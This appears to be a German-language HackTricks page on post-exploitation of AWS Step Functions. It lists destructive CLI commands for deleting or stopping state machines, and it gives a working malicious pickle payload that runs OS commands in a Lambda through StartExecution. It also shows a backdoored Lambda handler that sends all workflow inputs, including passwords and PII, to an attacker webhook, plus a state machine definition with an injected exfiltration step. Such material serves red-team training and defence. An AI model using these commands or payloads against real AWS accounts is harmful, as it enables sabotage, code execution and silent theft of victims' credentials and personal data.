AWS - Step Functions Post Exploitation

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

Step Functions

Für weitere Informationen über diesen AWS-Service, siehe:

AWS - Step Functions Enum

states:RevealSecrets

Diese Berechtigung ermöglicht es, geheime Daten innerhalb einer Ausführung offenzulegen. Dazu muss das Inspektionslevel auf TRACE gesetzt und der Parameter revealSecrets auf true gesetzt werden.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

Ein Angreifer mit diesen Berechtigungen könnte state machines, deren Versionen und aliases dauerhaft löschen. Das kann kritische Workflows unterbrechen, zu Datenverlust führen und erheblichen Aufwand erfordern, um die betroffenen state machines wiederherzustellen und den Betrieb zu normalisieren. Darüber hinaus würde es einem Angreifer ermöglichen, verwendete Spuren zu verwischen, forensische Untersuchungen zu stören und durch Entfernen essenzieller Automatisierungsprozesse und State-Konfigurationen den Betrieb lahmzulegen.

Note

  • Wenn Sie eine state machine löschen, werden auch alle damit verknüpften versions und aliases gelöscht.
  • Wenn Sie einen state machine alias löschen, löschen Sie nicht die state machine versions, die auf diesen alias verweisen.
  • Es ist nicht möglich, eine state machine version zu löschen, die derzeit von einem oder mehreren aliases referenziert wird.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • Potentielle Auswirkungen: Unterbrechung kritischer Workflows, Datenverlust und Ausfallzeiten im Betrieb.

states:UpdateMapRun

Ein Angreifer mit dieser Berechtigung könnte die Map Run-Fehlerkonfiguration und die Parallelitätseinstellung manipulieren und die maximal zulässige Anzahl von Child-Workflow-Ausführungen erhöhen oder verringern, wodurch Verfügbarkeit und Leistung des Dienstes direkt beeinträchtigt würden. Zusätzlich könnte ein Angreifer den tolerierten Fehlerprozentsatz und die Fehleranzahl verändern und diesen Wert auf 0 setzen, sodass jedes Mal, wenn ein Element fehlschlägt, der gesamte Map Run fehlschlägt — was die Ausführung der State Machine direkt beeinträchtigen und potenziell kritische Workflows stören würde.

aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • Potenzielle Auswirkungen: Leistungsverschlechterung und Unterbrechung kritischer Workflows.

states:StopExecution

Ein Angreifer mit dieser Berechtigung könnte die Ausführung beliebiger state machines stoppen und damit laufende Workflows und Prozesse unterbrechen. Dies kann zu unvollständigen Transaktionen, stillgelegten Geschäftsabläufen und möglicher Datenbeschädigung führen.

Warning

Diese Aktion wird von express state machines nicht unterstützt.

aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • Potentielle Auswirkungen: Unterbrechung laufender Workflows, betriebliche Ausfallzeiten und mögliche Datenbeschädigung.

states:TagResource, states:UntagResource

Ein Angreifer könnte tags zu Step Functions-Ressourcen hinzufügen, ändern oder entfernen und damit die Kostenallokation Ihrer Organisation, die Ressourcenverfolgung und die auf tags basierenden Zugriffskontrollrichtlinien stören.

aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Potenzielle Auswirkungen: Störung der Kostenallokation, der Ressourcenverfolgung und tag-basierter Zugriffskontrollrichtlinien.


states:StartExecution -> Input-Injektion in gefährliche Sinks

states:StartExecution ist ein Einstiegspunkt der Datenebene. Wenn eine state machine angreiferkontrollierte Eingaben an eine Task weiterleitet, die ein gefährliches Sink enthält (zum Beispiel eine Lambda, die pickle.loads(base64.b64decode(payload_b64)) ausführt), kannst du manchmal StartExecution in Codeausführung und in die Exfiltration von Geheimnissen über die Ausgabedaten der Ausführung verwandeln, ohne die Berechtigung zu haben, die state machine zu aktualisieren.

Workflow und aufgerufene Lambda ermitteln

Wenn du states:List* / states:Describe* Rechte hast, kannst du state machines auflisten und deren Definition lesen:

REGION=us-east-1
SM_ARN="<state_machine_arn>"

aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text

Wenn Sie außerdem lambda:GetFunction haben, können Sie das Lambda-Code-Bundle herunterladen, um zu verstehen, wie Eingaben verarbeitet werden (und zu bestätigen, ob unsafe deserialization vorliegt):

LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code

Beispiel: manipuliertes pickle in der Ausführungseingabe (Python)

Wenn die Lambda vom Angreifer kontrollierte Daten mit pickle deserialisiert, kann ein bösartiger pickle während der Deserialisierung Code ausführen. Beispiel-Payload, die einen Python-Ausdruck in der Lambda-Laufzeit auswertet:

PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle

class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))

print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"

EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text

Auswirkung: Welche Berechtigungen die Task-Rolle auch immer besitzt (Secrets Manager reads, S3 writes, KMS decrypt, etc.) können durch manipulierte Eingaben erreichbar werden, und das Ergebnis kann in der Ausgabe der Step Functions-Ausführung zurückgegeben werden.

states:UpdateStateMachine, lambda:UpdateFunctionCode

Ein Angreifer, der einen Benutzer oder eine Rolle mit den folgenden Berechtigungen kompromittiert:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

…kann durch die Kombination von Lambda backdooring mit Step Function logic manipulation einen hochwirksamen und unauffälligen post-exploitation attack durchführen.

In diesem Szenario wird angenommen, dass das Opfer AWS Step Functions verwendet, um Workflows zu orchestrieren, die sensible Eingabedaten verarbeiten, wie z. B. credentials, tokens oder PII.

Beispiel-Aufruf des Opfers:

aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

Wenn die Step Function so konfiguriert ist, dass sie eine Lambda-Funktion wie LegitBusinessLogic aufruft, kann der Angreifer mit zwei unauffälligen Angriffsvarianten fortfahren:


Lambda-Funktion aktualisiert

Der Angreifer verändert den Code der bereits von der Step Function verwendeten Lambda-Funktion (LegitBusinessLogic), um Eingabedaten stillschweigend zu exfiltrieren.

# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Einen bösartigen Zustand zur Step Function hinzufügen

Alternativ kann der Angreifer einen exfiltration state am Anfang des Workflows einschleusen, indem er die Step Function-Definition aktualisiert.

{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

Der Angreifer kann noch heimlicher vorgehen und die Zustandsdefinition etwa wie folgt aktualisieren: { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } wobei das Opfer den Unterschied nicht bemerkt.


Opfer-Setup (Kontext für Exploit)

  • Eine Step Function (LegitStateMachine) wird verwendet, um sensible Benutzereingaben zu verarbeiten.
  • Sie ruft eine oder mehrere Lambda-Funktionen wie LegitBusinessLogic auf.

Potenzielle Auswirkungen:

  • Stille exfiltration sensibler Daten, einschließlich secrets, credentials, API keys und PII.
  • Keine sichtbaren Fehler oder Ausfälle bei der Workflow-Ausführung.
  • Schwer zu entdecken, ohne den Lambda-Code oder execution traces zu prüfen.
  • Ermöglicht langfristige Persistenz, wenn die Backdoor im Code oder in der ASL-Logik verbleibt.

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks